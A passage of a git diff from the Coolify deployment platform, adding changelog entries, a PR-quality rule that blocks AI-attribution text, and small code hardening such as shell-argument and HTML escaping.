diff --git a/.github/workflows/pr-quality.yaml b/.github/workflows/pr-quality.yaml index 594724fdb..45a695ddc 100644 --- a/.github/workflows/pr-quality.yaml +++ b/.github/workflows/pr-quality.yaml @@ -40,7 +40,10 @@ jobs: max-emoji-count: 2 max-code-references: 5 require-linked-issue: false - blocked-terms: "STRAWBERRY" + blocked-terms: | + STRAWBERRY + ๐Ÿค– Generated with Claude Code + Generated with Claude Code blocked-issue-numbers: 8154 # PR Template Checks @@ -97,7 +100,7 @@ jobs: exempt-pr-milestones: "" # PR Success Actions - success-add-pr-labels: "quality/verified" + success-add-pr-labels: "" # PR Failure Actions failure-remove-pr-labels: "" diff --git a/CHANGELOG.md b/CHANGELOG.md index 87e8ae806..8cd7287f3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1190,7 +1190,118 @@ ### ๐Ÿš€ Features - *(service)* Update autobase to version 2.5 (#7923) - *(service)* Add chibisafe template (#5808) - *(ui)* Improve sidebar menu items styling (#7928) -- *(service)* Improve open-archiver +- *(template)* Add open archiver template (#6593) +- *(service)* Add linkding template (#6651) +- *(service)* Add glip template (#7937) +- *(templates)* Add Sessy docker compose template (#7951) +- *(api)* Add update urls support to services api +- *(api)* Improve service urls update +- *(api)* Add url update support to services api (#7929) +- *(api)* Improve docker_compose_domains +- *(api)* Add more allowed fields +- *(notifications)* Add mattermost notifications (#7963) +- *(templates)* Add ElectricSQL docker compose template +- *(service)* Add back soketi-app-manager +- *(service)* Upgrade checkmate to v3 (#7995) +- *(service)* Update pterodactyl version (#7981) +- *(service)* Add langflow template (#8006) +- *(service)* Upgrade listmonk to v6 +- *(service)* Add alexandrie template (#8021) +- *(service)* Upgrade formbricks to v4 (#8022) +- *(service)* Add goatcounter template (#8029) +- *(installer)* Add tencentos as a supported os +- *(installer)* Update nightly install script +- Update pr template to remove unnecessary quote blocks +- *(service)* Add satisfactory game server (#8056) +- *(service)* Disable mautic (#8088) +- *(service)* Add bento-pdf (#8095) +- *(ui)* Add official postgres 18 support +- *(database)* Add official postgres 18 support +- *(ui)* Use 2 column layout +- *(database)* Add official postgres 18 and pgvector 18 support (#8143) +- *(ui)* Improve global search with uuid and pr support (#7901) +- *(openclaw)* Add Openclaw service with environment variables and health checks +- *(service)* Disable maybe +- *(service)* Disable maybe (#8167) +- *(service)* Add sure +- *(service)* Add sure (#8157) +- *(docker)* Install PHP sockets extension in development environment +- *(services)* Add Spacebot service with custom logo support (#8427) +- Expose scheduled tasks to API +- *(api)* Add OpenAPI for managing scheduled tasks for applications and services +- *(api)* Add delete endpoints for scheduled tasks in applications and services +- *(api)* Add update endpoints for scheduled tasks in applications and services +- *(api)* Add scheduled tasks CRUD API with auth and validation (#8428) +- *(monitoring)* Add scheduled job monitoring dashboard (#8433) +- *(service)* Disable plane +- *(service)* Disable plane (#8580) +- *(service)* Disable pterodactyl panel and pterodactyl wings +- *(service)* Disable pterodactyl panel and pterodactyl wings (#8512) +- *(service)* Upgrade beszel and beszel-agent to v0.18 +- *(service)* Upgrade beszel and beszel-agent to v0.18 (#8513) +- Add command healthcheck type +- Require health check command for 'cmd' type with backend validation and frontend update +- *(healthchecks)* Add command health checks with input validation +- *(healthcheck)* Add command-based health check support (#8612) +- *(jobs)* Optimize async job dispatches and enhance Stripe subscription sync +- *(jobs)* Add queue delay resilience to scheduled job execution +- *(scheduler)* Add pagination to skipped jobs and filter manager start events +- Add comment field to environment variables +- Limit comment field to 256 characters for environment variables +- Enhance environment variable handling to support mixed formats and add comprehensive tests +- Add comment field to shared environment variables +- Show comment field for locked environment variables +- Add function to extract inline comments from docker-compose YAML environment variables +- Add magic variable detection and update UI behavior accordingly +- Add comprehensive environment variable parsing with nested resolution and hardcoded variable detection +- *(models)* Add is_required to EnvironmentVariable fillable array +- Add comment field to environment variables (#7269) +- *(service)* Pydio-cells.yml +- Pydio cells svg +- Pydio-cells.yml pin to stable version +- *(service)* Add Pydio cells (#8323) +- *(service)* Disable minio community edition +- *(service)* Disable minio community edition (#8686) +- *(subscription)* Add Stripe server limit quantity adjustment flow +- *(subscription)* Add refunds and cancellation management (#8637) +- Add configurable timeout for public database TCP proxy +- Add configurable proxy timeout for public database TCP proxy (#8673) +- *(jobs)* Implement encrypted queue jobs +- *(proxy)* Add database-backed config storage with disk backups +- *(proxy)* Add database-backed config storage with disk backups (#8905) +- *(livewire)* Add selectedActions parameter and error handling to delete methods +- *(gitlab)* Add GitLab source integration with SSH and HTTP basic auth +- *(git-sources)* Add GitLab integration and URL encode credentials (#8910) +- *(server)* Add server metadata collection and display +- *(git-import)* Support custom ssh command for fetch, submodule, and lfs +- *(ui)* Add log filter based on log level +- *(ui)* Add log filter based on log level (#8784) +- *(seeders)* Add GitHub deploy key example application +- *(service)* Update n8n-with-postgres-and-worker to 2.10.4 (#8807) +- *(service)* Add container label escape control to services API +- *(server)* Allow force deletion of servers with resources +- *(server)* Allow force deletion of servers with resources (#8962) +- *(compose-preview)* Populate fqdn from docker_compose_domains +- *(compose-preview)* Populate fqdn from docker_compose_domains (#8963) +- *(server)* Auto-fetch server metadata after validation +- *(server)* Auto-fetch server metadata after validation (#8964) +- *(templates)* Add imgcompress service, for offline image processing (#8763) +- *(service)* Add librespeed (#8626) +- *(service)* Update databasus to v3.16.2 (#8586) +- *(preview)* Add configurable PR suffix toggle for volumes +- *(api)* Add storages endpoints for applications +- *(api)* Expand update_storage to support name, mount_path, host_path, content fields +- *(environment-variable)* Add placeholder hint for magic variables +- *(subscription)* Display next billing date and billing interval +- *(api)* Support comments in bulk environment variable endpoints +- *(api)* Add database environment variable management endpoints +- *(storage)* Add resources tab and improve S3 deletion handling +- *(storage)* Group backups by database and filter by s3 status +- *(storage)* Add storage management for backup schedules +- *(jobs)* Add cache-based deduplication for delayed cron execution +- *(storage)* Add storage endpoints and UUID support for databases and services +- *(monitoring)* Add Laravel Nightwatch monitoring support +- *(validation)* Make hostname validation case-insensitive and expand allowed characters ### ๐Ÿ› Bug Fixes @@ -3773,6 +3884,7 @@ ### ๐Ÿ› Bug Fixes - *(scheduling)* Change redis cleanup command frequency from hourly to weekly for better resource management - *(versions)* Update coolify version numbers in versions.json and constants.php to 4.0.0-beta.420.5 and 4.0.0-beta.420.6 - *(database)* Ensure internal port defaults correctly for unsupported database types in StartDatabaseProxy +- *(git)* Tracking issue due to case sensitivity - *(versions)* Update coolify version numbers in versions.json and constants.php to 4.0.0-beta.420.6 and 4.0.0-beta.420.7 - *(scheduling)* Remove unnecessary padding from scheduled task form layout for improved UI consistency - *(horizon)* Update queue configuration to use environment variable for dynamic queue management @@ -3798,7 +3910,6 @@ ### ๐Ÿ› Bug Fixes - *(application)* Add option to suppress toast notifications when loading compose file - *(git)* Tracking issue due to case sensitivity - *(git)* Tracking issue due to case sensitivity -- *(git)* Tracking issue due to case sensitivity - *(ui)* Delete button width on small screens (#6308) - *(service)* Matrix entrypoint - *(ui)* Add flex-wrap to prevent overflow on small screens (#6307) @@ -4422,6 +4533,197 @@ ### ๐Ÿ› Bug Fixes - *(api)* Deprecate applications compose endpoint - *(api)* Applications post and patch endpoints - *(api)* Applications create and patch endpoints (#7917) +- *(service)* Sftpgo port +- *(env)* Only cat .env file in dev +- *(api)* Encoding checks (#7944) +- *(env)* Only show nixpacks plan variables section in dev +- Switch custom labels check to UTF-8 +- *(api)* One click service name and description cannot be set during creation +- *(ui)* Improve volume mount warning for compose applications (#7947) +- *(api)* Show an error if the same 2 urls are provided +- *(preview)* Docker compose preview URLs (#7959) +- *(api)* Check domain conflicts within the request +- *(api)* Include docker_compose_domains in domain conflict check +- *(api)* Is_static and docker network missing +- *(api)* If domains field is empty clear the fqdn column +- *(api)* Application endpoint issues part 2 (#7948) +- Optimize queries and caching for projects and environments +- *(perf)* Eliminate N+1 queries from InstanceSettings and Server lookups (#7966) +- Update version numbers to 4.0.0-beta.462 and 4.0.0-beta.463 +- *(service)* Update seaweedfs logo (#7971) +- *(service)* Soju svg +- *(service)* Autobase database is not persisted correctly (#7978) +- *(ui)* Make tooltips a bit wider +- *(ui)* Modal issues +- *(validation)* Add @, / and & support to names and descriptions +- *(backup)* Postgres restore arithmetic syntax error (#7997) +- *(service)* Users unable to create their first ente account without SMTP (#7986) +- *(ui)* Horizontal overflow on application and service headings (#7970) +- *(service)* Supabase studio settings redirect loop (#7828) +- *(env)* Skip escaping for valid JSON in environment variables (#6160) +- *(service)* Disable kong response buffering and increase timeouts (#7864) +- *(service)* Rocketchat fails to start due to database version incompatibility (#7999) +- *(service)* N8n v2 with worker timeout error +- *(service)* Elasticsearch-with-kibana not generating account token +- *(service)* Elasticsearch-with-kibana not generating account token (#8067) +- *(service)* Kimai fails to start (#8027) +- *(service)* Reactive-resume template (#8048) +- *(api)* Infinite loop with github app with many repos (#8052) +- *(env)* Skip escaping for valid JSON in environment variables (#8080) +- *(docker)* Update PostgreSQL version to 16 in Dockerfile +- *(validation)* Enforce url validation for instance domain (#8078) +- *(service)* Bluesky pds invite code doesn't generate (#8081) +- *(service)* Bugsink login fails due to cors (#8083) +- *(service)* Strapi doesn't start (#8084) +- *(service)* Activepieces postgres 18 volume mount (#8098) +- *(service)* Forgejo login failure (#8145) +- *(database)* Pgvector 18 version is not parsed properly +- *(labels)* Make sure name is slugified +- *(parser)* Replace dashes and dots in auto generated envs +- Stop database proxy when is_public changes to false (#8138) +- *(docs)* Update documentation link for Openclaw service +- *(api-docs)* Use proper schema references for environment variable endpoints (#8239) +- *(ui)* Fix datalist border color and add repository selection watcher (#8240) +- *(server)* Improve IP uniqueness validation with team-specific error messages +- *(jobs)* Initialize status variable in checkHetznerStatus (#8359) +- *(jobs)* Handle queue timeouts gracefully in Horizon (#8360) +- *(push-server-job)* Skip containers with empty service subId (#8361) +- *(database)* Disable proxy on port allocation failure (#8362) +- *(sentry)* Use withScope for SSH retry event tracking (#8363) +- *(api)* Add a newline to openapi.json +- *(server)* Improve IP uniqueness validation with team-specific error messages +- *(service)* Glitchtip webdashboard doesn't load +- *(service)* Glitchtip webdashboard doesn't load (#8249) +- *(api)* Improve scheduled tasks API with auth, validation, and execution endpoints +- *(api)* Improve scheduled tasks validation and delete logic +- *(security)* Harden deployment paths and deploy abilities (#8549) +- *(service)* Always enable force https labels +- *(traefik)* Respect force https in service labels (#8550) +- *(team)* Include webhook notifications in enabled check (#8557) +- *(service)* Resolve team lookup via service relationship +- *(service)* Resolve team lookup via service relationship (#8559) +- *(database)* Chown redis/keydb configs when custom conf set (#8561) +- *(version)* Update coolify version to 4.0.0-beta.464 and nightly version to 4.0.0-beta.465 +- *(applications)* Treat zero private_key_id as deploy key (#8563) +- *(deploy)* Split BuildKit and secrets detection (#8565) +- *(auth)* Prevent CSRF redirect loop during 2FA challenge (#8596) +- *(input)* Prevent eye icon flash on password fields before Alpine.js loads (#8599) +- *(api)* Correct permission requirements for POST endpoints (#8600) +- *(health-checks)* Prevent command injection in health check commands (#8611) +- *(auth)* Prevent cross-tenant IDOR in resource cloning (#8613) +- *(docker)* Centralize command escaping in executeInDocker helper (#8615) +- *(api)* Add team authorization to domains_by_server endpoint (#8616) +- *(ca-cert)* Prevent command injection via base64 encoding (#8617) +- *(scheduler)* Add self-healing for stale Redis locks and detection in UI (#8618) +- *(health-checks)* Sanitize and validate CMD healthcheck commands +- *(healthchecks)* Remove redundant newline sanitization from CMD healthcheck +- *(soketi)* Make host binding configurable for IPv6 support (#8619) +- *(ssh)* Automatically fix SSH directory permissions during upgrade (#8635) +- *(jobs)* Prevent non-due jobs firing on restart and enrich skip logs with resource links +- *(database)* Close confirmation modal after import/restore +- Application rollback uses correct commit sha +- *(rollback)* Escape commit SHA to prevent shell injection +- Save comment field when creating application environment variables +- Allow editing comments on locked environment variables +- Add Update button for locked environment variable comments +- Remove duplicate delete button from locked environment variable view +- Position Update button next to comment field for locked variables +- Preserve existing comments in bulk update and always show save notification +- Update success message logic to only show when changes are made +- *(bootstrap)* Add bounds check to extractBalancedBraceContent +- Pydio-cells svg path typo +- *(database)* Handle PDO constant name change for PGSQL_ATTR_DISABLE_PREPARES +- *(proxy)* Handle IPv6 CIDR notation in Docker network gateways (#8703) +- *(ssh)* Prevent RCE via SSH command injection (#8748) +- *(service)* Cloudreve doesn't persist data across restarts +- *(service)* Cloudreve doesn't persist data across restarts (#8740) +- Join link should be set correctly in the env variables +- *(service)* Ente photos join link doesn't work (#8727) +- *(subscription)* Harden quantity updates and proxy trust behavior +- *(auth)* Resolve 419 session errors with domain-based access and Cloudflare Tunnels (#8749) +- *(server)* Handle limit edge case and IPv6 allowlist dedupe +- *(server-limit)* Re-enable force-disabled servers at limit +- *(ip-allowlist)* Add IPv6 CIDR support for API access restrictions (#8750) +- *(proxy)* Remove ipv6 cidr network remediation +- Address review feedback on proxy timeout +- *(proxy)* Add validation and normalization for database proxy timeout +- *(proxy)* Mounting error for nginx.conf in dev +- Enable preview deployment page for deploy key applications +- *(application-source)* Support localhost key with id=0 +- Enable preview deployment page for deploy key applications (#8579) +- *(docker-compose)* Respect preserveRepository setting when executing start command (#8848) +- *(proxy)* Mounting error for nginx.conf in dev (#8662) +- *(database)* Close confirmation modal after database import/restore (#8697) +- *(subscription)* Use optional chaining for preview object access +- *(parser)* Use firstOrCreate instead of updateOrCreate for environment variables +- *(env-parser)* Capture clean variable names without trailing braces in bash-style defaults (#8855) +- *(terminal)* Resolve WebSocket connection and host authorization issues (#8862) +- *(docker-cleanup)* Respect keep for rollback setting for Nixpacks build images (#8859) +- *(push-server)* Track last_online_at and reset database restart state +- *(docker)* Prevent false container exits on failed docker queries (#8860) +- *(api)* Require write permission for validation endpoints +- *(sentinel)* Add token validation to prevent command injection +- *(log-drain)* Prevent command injection by base64-encoding environment variables +- *(git-ref-validation)* Prevent command injection via git references +- *(docker)* Add path validation to prevent command injection in file locations +- Prevent command injection and fix developer view shared variables error (#8889) +- Build-time environment variables break Next.js (#8890) +- *(modal)* Make confirmation modal close after dispatching Livewire actions (#8892) +- *(parser)* Preserve user-saved env vars on Docker Compose redeploy (#8894) +- *(security)* Sanitize newlines in health check commands to prevent RCE (#8898) +- Prevent scheduled task input fields from losing focus +- Prevent scheduled task input fields from losing focus (#8654) +- *(api)* Add docker_cleanup parameter to stop endpoints +- *(api)* Add docker_cleanup parameter to stop endpoints (#8899) +- *(deployment)* Filter null and empty environment variables from nixpacks plan +- *(deployment)* Filter null and empty environment variables from nixpacks plan (#8902) +- *(livewire)* Add error handling and selectedActions to delete methods (#8909) +- *(parsers)* Use firstOrCreate instead of updateOrCreate for environment variables +- *(parsers)* Use firstOrCreate instead of updateOrCreate for environment variables (#8915) +- *(ssh)* Remove undefined trackSshRetryEvent() method call (#8927) +- *(validation)* Support scoped packages in file path validation (#8928) +- *(parsers)* Resolve shared variables in compose environment +- *(parsers)* Resolve shared variables in compose environment (#8930) +- *(api)* Cast teamId to int in deployment authorization check +- *(api)* Cast teamId to int in deployment authorization check (#8931) +- *(git-import)* Ensure ssh key is used for fetch, submodule, and lfs operations (#8933) +- *(ui)* Info logs were not highlighted with blue color +- *(application)* Clarify deployment type precedence logic +- *(git-import)* Explicitly specify ssh key and remove duplicate validation rules +- *(application)* Clarify deployment type precedence logic (#8934) +- *(git)* GitHub App webhook endpoint defaults to IPv4 instead of the instance domain +- *(git)* GitHub App webhook endpoint defaults to IPv4 instead of the instance domain (#8948) +- *(service)* Hoppscotch fails to start due to db unhealthy +- *(service)* Hoppscotch fails to start due to db unhealthy (#8949) +- *(api)* Allow is_container_label_escape_enabled in service operations (#8955) +- *(docker-compose)* Respect preserveRepository when injecting --project-directory +- *(docker-compose)* Respect preserveRepository when injecting --project-directory (#8956) +- *(compose)* Include git branch in compose file not found error +- *(template)* Fix heyform template +- *(template)* Fix heyform template (#8747) +- *(preview)* Exclude bind mounts from preview deployment suffix +- *(preview)* Sync isPreviewSuffixEnabled property on file storage save +- *(storages)* Hide PR suffix for services and fix instantSave logic +- *(preview)* Enable per-volume control of PR suffix in preview deployments (#9006) +- Prevent sporadic SSH permission denied by validating key content +- *(ssh)* Handle chmod failures gracefully and simplify key management +- Prevent sporadic SSH permission denied on key rotation (#8990) +- *(stripe)* Add error handling and resilience to subscription operations +- *(stripe)* Add error handling and resilience to subscription operations (#9030) +- *(api)* Extract resource UUIDs from route parameters +- *(backup)* Throw explicit error when S3 storage missing or deleted (#9038) +- *(docker)* Skip cleanup stale warning on cloud instances +- *(deployment)* Disable build server during restart operations +- *(deployment)* Disable build server during restart operations (#9045) +- *(docker)* Log failed cleanup attempts when server is not functional +- *(environment-variable)* Guard refresh against missing or stale variables +- *(github-webhook)* Handle unsupported event types gracefully +- *(github-webhook)* Handle unsupported event types gracefully (#9119) +- *(deployment)* Properly escape shell arguments in nixpacks commands +- *(deployment)* Properly escape shell arguments in nixpacks commands (#9122) +- *(validation)* Make hostname validation case-insensitive and expand allowed name characters (#9134) +- *(team)* Resolve server limit checks for API token authentication (#9123) +- *(subscription)* Prevent duplicate subscriptions with updateOrCreate ### ๐Ÿ’ผ Other @@ -4886,6 +5188,12 @@ ### ๐Ÿ’ผ Other - CVE-2025-55182 React2shell infected supabase/studio:2025.06.02-sha-8f2993d - Bump superset to 6.0.0 - Trim whitespace from domain input in instance settings (#7837) +- Upgrade postgres client to fix build error +- Application rollback uses correct commit sha (#8576) +- *(deps)* Bump rollup from 4.57.1 to 4.59.0 +- *(deps)* Bump rollup from 4.57.1 to 4.59.0 (#8691) +- *(deps)* Bump league/commonmark from 2.8.0 to 2.8.1 +- *(deps)* Bump league/commonmark from 2.8.0 to 2.8.1 (#8793) ### ๐Ÿšœ Refactor @@ -5510,6 +5818,23 @@ ### ๐Ÿšœ Refactor - Move all env sorting to one place - *(api)* Make docker_compose_raw description more clear - *(api)* Update application create endpoints docs +- *(api)* Application urls validation +- *(services)* Improve some service slogans +- *(ssh-retry)* Remove Sentry tracking from retry logic +- *(ssh-retry)* Remove Sentry tracking from retry logic +- *(jobs)* Split task skip checks into critical and runtime phases +- Add explicit fillable array to EnvironmentVariable model +- Replace inline note with callout component for consistency +- *(application-source)* Use Laravel helpers for null checks +- *(ssh)* Remove Sentry retry event tracking from ExecuteRemoteCommand +- Consolidate file path validation patterns and support scoped packages +- *(environment-variable)* Remove buildtime/runtime options and improve comment field +- Remove verbose logging and use explicit exception types +- *(breadcrumb)* Optimize queries and simplify state management +- *(scheduler)* Extract cron scheduling logic to shared helper +- *(team)* Make server limit methods accept optional team parameter +- *(team)* Update serverOverflow to use static serverLimit +- *(docker)* Simplify installation and remove version pinning ### ๐Ÿ“š Documentation @@ -5616,7 +5941,6 @@ ### ๐Ÿ“š Documentation - Update changelog - *(tests)* Update testing guidelines for unit and feature tests - *(sync)* Create AI Instructions Synchronization Guide and update CLAUDE.md references -- Update changelog - *(database-patterns)* Add critical note on mass assignment protection for new columns - Clarify cloud-init script compatibility - Update changelog @@ -5647,7 +5971,27 @@ ### ๐Ÿ“š Documentation - Update application architecture and database patterns for request-level caching best practices - Remove git worktree symlink instructions from CLAUDE.md - Remove git worktree symlink instructions from CLAUDE.md (#7908) +- Add transcript lol link and logo to readme (#7331) +- *(api)* Change domains to urls +- *(api)* Improve domains API docs - Update changelog +- Update changelog +- *(api)* Improve app endpoint deprecation description +- Add Coolify design system reference +- Add Coolify design system reference (#8237) +- Update changelog +- Update changelog +- Update changelog +- *(sponsors)* Add huge sponsors section and reorganize list +- *(application)* Add comments explaining commit selection logic for rollback support +- *(readme)* Add VPSDime to Big Sponsors list +- *(readme)* Move MVPS to Huge Sponsors section +- *(settings)* Clarify Do Not Track helper text +- Update changelog +- Update changelog +- *(sponsors)* Add ScreenshotOne as a huge sponsor +- *(sponsors)* Update Brand.dev to Context.dev +- *(readme)* Add PetroSky Cloud to sponsors ### โšก Performance @@ -5658,6 +6002,7 @@ ### โšก Performance - Remove dead server filtering code from Kernel scheduler (#7585) - *(server)* Optimize destinationsByServer query - *(server)* Optimize destinationsByServer query (#7854) +- *(breadcrumb)* Optimize queries and simplify navigation to fix OOM (#9048) ### ๐ŸŽจ Styling @@ -5670,6 +6015,7 @@ ### ๐ŸŽจ Styling - *(campfire)* Format environment variables for better readability in Docker Compose file - *(campfire)* Update comment for DISABLE_SSL environment variable for clarity - Update background colors to use gray-50 for consistency in auth views +- *(modal-confirmation)* Improve mobile responsiveness ### ๐Ÿงช Testing @@ -5686,6 +6032,14 @@ ### ๐Ÿงช Testing - Add tests for shared environment variable spacing and resolution - Add comprehensive preview deployment port and path tests - Add comprehensive preview deployment port and path tests (#7677) +- Add Pest browser testing with SQLite :memory: schema +- Add dashboard test and improve browser test coverage +- Migrate to SQLite :memory: and add Pest browser testing (#8364) +- *(rollback)* Use full-length git commit SHA values in test fixtures +- *(rollback)* Verify shell metacharacter escaping in git commit parameter +- *(factories)* Add missing model factories for app test suite +- *(magic-variables)* Add feature tests for SERVICE_URL/FQDN variable handling +- Add behavioral ssh key stale-file regression ### โš™๏ธ Miscellaneous Tasks @@ -6293,10 +6647,10 @@ ### โš™๏ธ Miscellaneous Tasks - *(versions)* Update Coolify versions to 4.0.0-beta.420.2 and 4.0.0-beta.420.3 in multiple files - *(versions)* Bump coolify and nightly versions to 4.0.0-beta.420.3 and 4.0.0-beta.420.4 respectively - *(versions)* Update coolify and nightly versions to 4.0.0-beta.420.4 and 4.0.0-beta.420.5 respectively -- *(service)* Update Nitropage template (#6181) -- *(versions)* Update all version - *(bump)* Update composer deps - *(version)* Bump Coolify version to 4.0.0-beta.420.6 +- *(service)* Update Nitropage template (#6181) +- *(versions)* Update all version - *(service)* Improve matrix service - *(service)* Format runner service - *(service)* Improve sequin @@ -6399,6 +6753,94 @@ ### โš™๏ธ Miscellaneous Tasks - *(services)* Upgrade service template json files - *(api)* Update openapi json and yaml - *(api)* Regenerate openapi docs +- Prepare for PR +- *(api)* Improve current request error message +- *(api)* Improve current request error message +- *(api)* Update openapi files +- *(service)* Update service templates json +- *(services)* Update service template json files +- *(service)* Use major version for openpanel (#8053) +- Prepare for PR +- *(services)* Update service template json files +- Bump coolify version +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- *(scheduler)* Fix scheduled job duration metric (#8551) +- Prepare for PR +- Prepare for PR +- *(horizon)* Make max time configurable (#8560) +- Prepare for PR +- Prepare for PR +- Prepare for PR +- *(ui)* Widen project heading nav spacing (#8564) +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Add pr quality check workflow +- Do not build or generate changelog on pr-quality changes +- Add pr quality check via anti slop action (#8344) +- Improve pr quality workflow +- Delete label removal workflow +- Improve pr quality workflow (#8374) +- Prepare for PR +- Prepare for PR +- Prepare for PR +- *(repo)* Improve contributor PR template +- Add anti-slop v0.2 options to the pr-quality check +- Improve pr template and quality check workflow (#8574) +- Prepare for PR +- Prepare for PR +- Prepare for PR +- *(ui)* Add labels header +- *(ui)* Add container labels header (#8752) +- *(templates)* Update n8n templates to 2.10.2 (#8679) +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- *(version)* Bump coolify, realtime, and sentinel versions +- *(realtime)* Upgrade npm dependencies +- *(realtime)* Upgrade coolify-realtime to 1.0.11 +- Prepare for PR +- Prepare for PR +- Prepare for PR +- *(release)* Bump version to 4.0.0-beta.466 +- Prepare for PR +- Prepare for PR +- *(service)* Pin castopod service to a static version instead of latest +- *(service)* Remove unused attributes on imgcompress service +- *(service)* Pin imgcompress to a static version instead of latest +- *(service)* Update SeaweedFS images to version 4.13 (#8738) +- *(templates)* Bump databasus image version +- Remove coolify-examples-1 submodule +- *(versions)* Bump coolify, sentinel, and traefik versions +- *(versions)* Bump sentinel to 0.0.21 +- *(service)* Disable Booklore service (#9105) ### โ—€๏ธ Revert diff --git a/app/Actions/Fortify/CreateNewUser.php b/app/Actions/Fortify/CreateNewUser.php index 9f97dd0d4..7ea6a871e 100644 --- a/app/Actions/Fortify/CreateNewUser.php +++ b/app/Actions/Fortify/CreateNewUser.php @@ -37,12 +37,13 @@ public function create(array $input): User if (User::count() == 0) { // If this is the first user, make them the root user // Team is already created in the database/seeders/ProductionSeeder.php - $user = User::create([ + $user = (new User)->forceFill([ 'id' => 0, 'name' => $input['name'], 'email' => $input['email'], 'password' => Hash::make($input['password']), ]); + $user->save(); $team = $user->teams()->first(); // Disable registration after first user is created diff --git a/app/Actions/Server/InstallDocker.php b/app/Actions/Server/InstallDocker.php index 2e08ec6ad..8bb85c7fc 100644 --- a/app/Actions/Server/InstallDocker.php +++ b/app/Actions/Server/InstallDocker.php @@ -49,7 +49,7 @@ public function handle(Server $server) }'); $found = StandaloneDocker::where('server_id', $server->id); if ($found->count() == 0 && $server->id) { - StandaloneDocker::create([ + StandaloneDocker::forceCreate([ 'name' => 'coolify', 'network' => 'coolify', 'server_id' => $server->id, diff --git a/app/Actions/Server/ValidateServer.php b/app/Actions/Server/ValidateServer.php index 0a20deae5..22c48aa89 100644 --- a/app/Actions/Server/ValidateServer.php +++ b/app/Actions/Server/ValidateServer.php @@ -30,7 +30,8 @@ public function handle(Server $server) ]); ['uptime' => $this->uptime, 'error' => $error] = $server->validateConnection(); if (! $this->uptime) { - $this->error = 'Server is not reachable. Please validate your configuration and connection.
Check this documentation for further help.

Error: '.$error.'
'; + $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8'); + $this->error = 'Server is not reachable. Please validate your configuration and connection.
Check this documentation for further help.

Error: '.$sanitizedError.'
'; $server->update([ 'validation_logs' => $this->error, ]); diff --git a/app/Actions/Service/StartService.php b/app/Actions/Service/StartService.php index 6b5e1d4ac..17948d93b 100644 --- a/app/Actions/Service/StartService.php +++ b/app/Actions/Service/StartService.php @@ -40,10 +40,10 @@ public function handle(Service $service, bool $pullLatestImages = false, bool $s $commands[] = "docker network connect $service->uuid coolify-proxy >/dev/null 2>&1 || true"; if (data_get($service, 'connect_to_docker_network')) { $compose = data_get($service, 'docker_compose', []); - $network = $service->destination->network; + $safeNetwork = escapeshellarg($service->destination->network); $serviceNames = data_get(Yaml::parse($compose), 'services', []); foreach ($serviceNames as $serviceName => $serviceConfig) { - $commands[] = "docker network connect --alias {$serviceName}-{$service->uuid} $network {$serviceName}-{$service->uuid} >/dev/null 2>&1 || true"; + $commands[] = "docker network connect --alias {$serviceName}-{$service->uuid} {$safeNetwork} {$serviceName}-{$service->uuid} >/dev/null 2>&1 || true"; } } diff --git a/app/Actions/Stripe/UpdateSubscriptionQuantity.php b/app/Actions/Stripe/UpdateSubscriptionQuantity.php index a3eab4dca..d4d29af20 100644 --- a/app/Actions/Stripe/UpdateSubscriptionQuantity.php +++ b/app/Actions/Stripe/UpdateSubscriptionQuantity.php @@ -4,6 +4,7 @@ use App\Jobs\ServerLimitCheckJob; use App\Models\Team; +use Stripe\Exception\InvalidRequestException; use Stripe\StripeClient; class UpdateSubscriptionQuantity @@ -42,6 +43,7 @@ public function fetchPricePreview(Team $team, int $quantity): array } $currency = strtoupper($item->price->currency ?? 'usd'); + $billingInterval = $item->price->recurring->interval ?? 'month'; // Upcoming invoice gives us the prorated amount due now $upcomingInvoice = $this->stripe->invoices->upcoming([ @@ -99,6 +101,7 @@ public function fetchPricePreview(Team $team, int $quantity): array 'tax_description' => $taxDescription, 'quantity' => $quantity, 'currency' => $currency, + 'billing_interval' => $billingInterval, ], ]; } catch (\Exception $e) { @@ -184,7 +187,7 @@ public function execute(Team $team, int $quantity): array \Log::info("Subscription {$subscription->stripe_subscription_id} quantity updated to {$quantity} for team {$team->name}"); return ['success' => true, 'error' => null]; - } catch (\Stripe\Exception\InvalidRequestException $e) { + } catch (InvalidRequestException $e) { \Log::error("Stripe update quantity error for team {$team->id}: ".$e->getMessage()); return ['success' => false, 'error' => 'Stripe error: '.$e->getMessage()]; diff --git a/app/Console/Commands/Dev.php b/app/Console/Commands/Dev.php index acc6dc2f9..7daa6ba28 100644 --- a/app/Console/Commands/Dev.php +++ b/app/Console/Commands/Dev.php @@ -30,32 +30,32 @@ public function init() // Generate APP_KEY if not exists if (empty(config('app.key'))) { - echo "Generating APP_KEY.\n"; + echo " INFO Generating APP_KEY.\n"; Artisan::call('key:generate'); } // Generate STORAGE link if not exists if (! file_exists(public_path('storage'))) { - echo "Generating STORAGE link.\n"; + echo " INFO Generating storage link.\n"; Artisan::call('storage:link'); } // Seed database if it's empty $settings = InstanceSettings::find(0); if (! $settings) { - echo "Initializing instance, seeding database.\n"; + echo " INFO Initializing instance, seeding database.\n"; Artisan::call('migrate --seed'); } else { - echo "Instance already initialized.\n"; + echo " INFO Instance already initialized.\n"; } // Clean up stuck jobs and stale locks on development startup try { - echo "Cleaning up Redis (stuck jobs and stale locks)...\n"; + echo " INFO Cleaning up Redis (stuck jobs and stale locks)...\n"; Artisan::call('cleanup:redis', ['--restart' => true, '--clear-locks' => true]); - echo "Redis cleanup completed.\n"; + echo " INFO Redis cleanup completed.\n"; } catch (\Throwable $e) { - echo "Error in cleanup:redis: {$e->getMessage()}\n"; + echo " ERROR Redis cleanup failed: {$e->getMessage()}\n"; } try { @@ -66,10 +66,10 @@ public function init() ]); if ($updatedTaskCount > 0) { - echo "Marked {$updatedTaskCount} stuck scheduled task executions as failed\n"; + echo " INFO Marked {$updatedTaskCount} stuck scheduled task executions as failed.\n"; } } catch (\Throwable $e) { - echo "Could not cleanup 